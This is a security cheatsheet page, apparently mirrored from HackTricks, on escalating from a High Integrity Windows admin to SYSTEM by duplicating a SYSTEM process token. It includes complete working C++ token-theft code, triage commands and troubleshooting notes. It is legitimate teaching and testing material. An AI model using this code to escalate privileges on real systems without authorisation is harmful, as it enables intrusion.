daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

seimpersonate-from-high-to-system.md (12714B)


      1 ---
      2 title: "SeImpersonate from High To System"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SeImpersonate from High To System
     14 
     15 This page is about the **manual** version of going from a **High Integrity administrator process** to **`NT AUTHORITY\SYSTEM`** by **opening a non-protected SYSTEM process, duplicating its token, and spawning a child process with that token**.
     16 
     17 If you only have **`SeImpersonatePrivilege`** / **`SeAssignPrimaryTokenPrivilege`** but **cannot open a suitable SYSTEM process**, the **Potato / named-pipe** path is usually more reliable:
     18 
     19 [Named Pipe Client Impersonation](/hacktricks/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation)
     20 
     21 [Roguepotato And Printspoofer](/hacktricks/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer)
     22 
     23 If what you want is not only `SYSTEM` but a **SYSTEM token with as many privileges as possible**, also check:
     24 
     25 [Sedebug + Seimpersonate Copy Token](/hacktricks/windows-hardening/windows-local-privilege-escalation/sedebug-seimpersonate-copy-token)
     26 
     27 ## Quick triage
     28 
     29 Before trying to steal a token, quickly validate the context:
     30 
     31 ```batch
     32 whoami /groups | findstr /i "high mandatory"
     33 whoami /priv | findstr /i "SeDebugPrivilege SeImpersonatePrivilege SeAssignPrimaryTokenPrivilege"
     34 ```
     35 
     36 Practical notes:
     37 
     38 - A **High Integrity** admin token is usually enough to **enable `SeDebugPrivilege`** and open many non-protected SYSTEM processes.
     39 - **`CreateProcessWithTokenW` requires `SeImpersonatePrivilege`** on the caller. If that API fails with `1314`, switch to `CreateProcessAsUserW` after you already duplicated a SYSTEM primary token.
     40 - On modern Windows, **`lsass.exe` is often a bad target** because **LSA protection / PPL** blocks access even for administrators with `SeDebugPrivilege`. Prefer **`winlogon.exe`**, **`wininit.exe`**, **`services.exe`**, or an early **`svchost.exe`** running as SYSTEM.
     41 - Not every SYSTEM process has an equally useful token. If you get SYSTEM but notice missing privileges, try a different SYSTEM process instead of assuming the technique is broken.
     42 
     43 ## Pick the PID carefully
     44 
     45 The easiest way to make this work reliably is to **choose a SYSTEM process whose DACL actually allows Administrators to query the process and duplicate its token**.
     46 
     47 Good candidates to test first:
     48 
     49 - `winlogon.exe`
     50 - `wininit.exe`
     51 - `services.exe`
     52 - some early `svchost.exe` instances running as SYSTEM
     53 
     54 Avoid by default:
     55 
     56 - `lsass.exe` on hosts where **RunAsPPL / LSA protection** is enabled
     57 - protected / security-sensitive processes that return `Access denied` even after enabling `SeDebugPrivilege`
     58 
     59 You can inspect candidate processes and their token/ACLs with **Process Explorer** or **Process Hacker** running elevated.
     60 
     61 ### Code
     62 
     63 The following code comes from [this access-token article](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). It accepts a **process ID as an argument** and starts a command shell **as the user** of that process.<sup>[[3]](#references)</sup>\
     64 Running in a High Integrity process you can **indicate the PID of a process running as System** (like `winlogon`, `wininit`) and execute a `cmd.exe` as SYSTEM.<sup>[[3]](#references)</sup>
     65 
     66 ```cpp
     67 impersonateuser.exe 1234
     68 ```
     69 
     70 ```cpp
     71 // From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962
     72 
     73 #include <windows.h>
     74 #include <iostream>
     75 #include <Lmcons.h>
     76 BOOL SetPrivilege(
     77 	HANDLE hToken,          // access token handle
     78 	LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
     79 	BOOL bEnablePrivilege   // to enable or disable privilege
     80 )
     81 {
     82 	TOKEN_PRIVILEGES tp;
     83 	LUID luid;
     84 	if (!LookupPrivilegeValue(
     85 		NULL,            // lookup privilege on local system
     86 		lpszPrivilege,   // privilege to lookup
     87 		&luid))        // receives LUID of privilege
     88 	{
     89 		printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
     90 		return FALSE;
     91 	}
     92 	tp.PrivilegeCount = 1;
     93 	tp.Privileges[0].Luid = luid;
     94 	if (bEnablePrivilege)
     95 		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
     96 	else
     97 		tp.Privileges[0].Attributes = 0;
     98 	// Enable the privilege or disable all privileges.
     99 	if (!AdjustTokenPrivileges(
    100 		hToken,
    101 		FALSE,
    102 		&tp,
    103 		sizeof(TOKEN_PRIVILEGES),
    104 		(PTOKEN_PRIVILEGES)NULL,
    105 		(PDWORD)NULL))
    106 	{
    107 		printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
    108 		return FALSE;
    109 	}
    110 	if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
    111 	{
    112 		printf("[-] The token does not have the specified privilege. \n");
    113 		return FALSE;
    114 	}
    115 	return TRUE;
    116 }
    117 std::string get_username()
    118 {
    119 	TCHAR username[UNLEN + 1];
    120 	DWORD username_len = UNLEN + 1;
    121 	GetUserName(username, &username_len);
    122 	std::wstring username_w(username);
    123 	std::string username_s(username_w.begin(), username_w.end());
    124 	return username_s;
    125 }
    126 int main(int argc, char** argv) {
    127 	// Print whoami to compare to thread later
    128 	printf("[+] Current user is: %s\n", (get_username()).c_str());
    129 	// Grab PID from command line argument
    130 	char* pid_c = argv[1];
    131 	DWORD PID_TO_IMPERSONATE = atoi(pid_c);
    132 	// Initialize variables and structures
    133 	HANDLE tokenHandle = NULL;
    134 	HANDLE duplicateTokenHandle = NULL;
    135 	STARTUPINFO startupInfo;
    136 	PROCESS_INFORMATION processInformation;
    137 	ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
    138 	ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
    139 	startupInfo.cb = sizeof(STARTUPINFO);
    140 	// Add SE debug privilege
    141 	HANDLE currentTokenHandle = NULL;
    142 	BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
    143 	if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
    144 	{
    145 		printf("[+] SeDebugPrivilege enabled!\n");
    146 	}
    147 	// Call OpenProcess(), print return code and error code
    148 	HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
    149 	if (GetLastError() == NULL)
    150 		printf("[+] OpenProcess() success!\n");
    151 	else
    152 	{
    153 		printf("[-] OpenProcess() Return Code: %i\n", processHandle);
    154 		printf("[-] OpenProcess() Error: %i\n", GetLastError());
    155 	}
    156 	// Call OpenProcessToken(), print return code and error code
    157 	BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
    158 	if (GetLastError() == NULL)
    159 		printf("[+] OpenProcessToken() success!\n");
    160 	else
    161 	{
    162 		printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
    163 		printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
    164 	}
    165 	// Impersonate user in a thread
    166 	BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
    167 	if (GetLastError() == NULL)
    168 	{
    169 		printf("[+] ImpersonatedLoggedOnUser() success!\n");
    170 		printf("[+] Current user is: %s\n", (get_username()).c_str());
    171 		printf("[+] Reverting thread to original user context\n");
    172 		RevertToSelf();
    173 	}
    174 	else
    175 	{
    176 		printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
    177 		printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
    178 	}
    179 	// Call DuplicateTokenEx(), print return code and error code
    180 	BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
    181 	if (GetLastError() == NULL)
    182 		printf("[+] DuplicateTokenEx() success!\n");
    183 	else
    184 	{
    185 		printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
    186 		printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
    187 	}
    188 	// Call CreateProcessWithTokenW(), print return code and error code
    189 	BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
    190 	if (GetLastError() == NULL)
    191 		printf("[+] Process spawned!\n");
    192 	else
    193 	{
    194 		printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
    195 		printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
    196 	}
    197 	return 0;
    198 }
    199 ```
    200 
    201 ## Useful API / access-right notes
    202 
    203 The sample uses `MAXIMUM_ALLOWED`, but for real operations it's useful to remember the minimum pieces involved:
    204 
    205 - `OpenProcessToken()` only requires that the **process handle** was opened with **`PROCESS_QUERY_LIMITED_INFORMATION`**.
    206 - To use `CreateProcessWithTokenW()`, the **primary token handle** must have **`TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY`**.<sup>[[1]](#references)</sup>
    207 - `DuplicateTokenEx()` must create a **primary token** (`TokenPrimary`), not only an impersonation token.
    208 - If you already impersonated SYSTEM and `CreateProcessWithTokenW()` still fails with `1314`, try `CreateProcessAsUserW()` instead.
    209 
    210 That means that **opening the target process with `PROCESS_ALL_ACCESS` is usually unnecessary and noisier** than just requesting the rights needed to query the token.
    211 
    212 ## Error
    213 
    214 On some occasions you may try to impersonate System and it won't work showing an output like the following:
    215 
    216 ```cpp
    217 [+] OpenProcess() success!
    218 [+] OpenProcessToken() success!
    219 [-] ImpersonatedLoggedOnUser() Return Code: 1
    220 [-] ImpersonatedLoggedOnUser() Error: 5
    221 [-] DuplicateTokenEx() Return Code: 0
    222 [-] DupicateTokenEx() Error: 5
    223 [-] CreateProcessWithTokenW Return Code: 0
    224 [-] CreateProcessWithTokenW Error: 1326
    225 ```
    226 
    227 This means that even if you are running on a High Integrity level **you don't have enough permissions** over that target process/token.\
    228 Let's check current Administrator permissions over `svchost.exe` processes with **Process Explorer** (or you can also use **Process Hacker**):
    229 
    230 1. Select a process of `svchost.exe`
    231 2. Right Click --> Properties
    232 3. Inside "Security" Tab click in the bottom right the button "Permissions"
    233 4. Click on "Advanced"
    234 5. Select "Administrators" and click on "Edit"
    235 6. Click on "Show advanced permissions"
    236 
    237 ![Code - Error: 6. Click on "Show advanced permissions"](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28437%29.png)
    238 
    239 The previous image contains all the privileges that "Administrators" have over the selected process (as you can see in case of `svchost.exe` they only have "Query" privileges)
    240 
    241 See the privileges "Administrators" have over `winlogon.exe`:
    242 
    243 ![Code - Error: See the privileges "Administrators" have over winlogon.exe](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281102%29.png)
    244 
    245 Inside that process "Administrators" can "Read Memory" and "Read Permissions" which probably allows Administrators to impersonate the token used by this process.
    246 
    247 ### Common failure causes
    248 
    249 - **`OpenProcess()` / `OpenProcessToken()` -> `5 (Access denied)`**: the process DACL blocks you, or the target is **protected/PPL**. Pick another SYSTEM process.
    250 - **`DuplicateTokenEx()` -> `5 (Access denied)`**: your token handle was opened without enough rights, or the target token DACL prevents duplication.
    251 - **`CreateProcessWithTokenW()` -> `1314`**: the caller doesn't currently have **`SeImpersonatePrivilege`** enabled. Try enabling it first or use `CreateProcessAsUserW()` with the duplicated primary token.
    252 - **`CreateProcessWithTokenW()` -> `1326`** after previous failures: this often just means the earlier token duplication/impersonation step failed, so there is no usable primary token to launch the child process.
    253 
    254 ## Operator notes
    255 
    256 - This technique is great when you are already **local admin + high integrity** and just want a quick, manual path to SYSTEM without spinning up a service or a named-pipe coercion chain.
    257 - On hardened Windows 11 / Server environments, **LSA protection is increasingly common**, so a workflow that assumes `lsass.exe` is always readable is brittle. **`winlogon.exe` / `wininit.exe` / `services.exe` are usually better first picks**.<sup>[[2]](#references)</sup>
    258 - If you land in a **service account** context instead of an elevated admin desktop, the **Potato family** is usually a better fit than this page.
    259 
    260 
    261 ## References
    262 
    263 - [1] [Microsoft: CreateProcessWithTokenW](https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw)
    264 - [2] [SensePost: Abusing Windows' tokens to compromise Active Directory without touching LSASS](https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/)
    265 - [3] [Understanding and Abusing Process Tokens — Part II](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)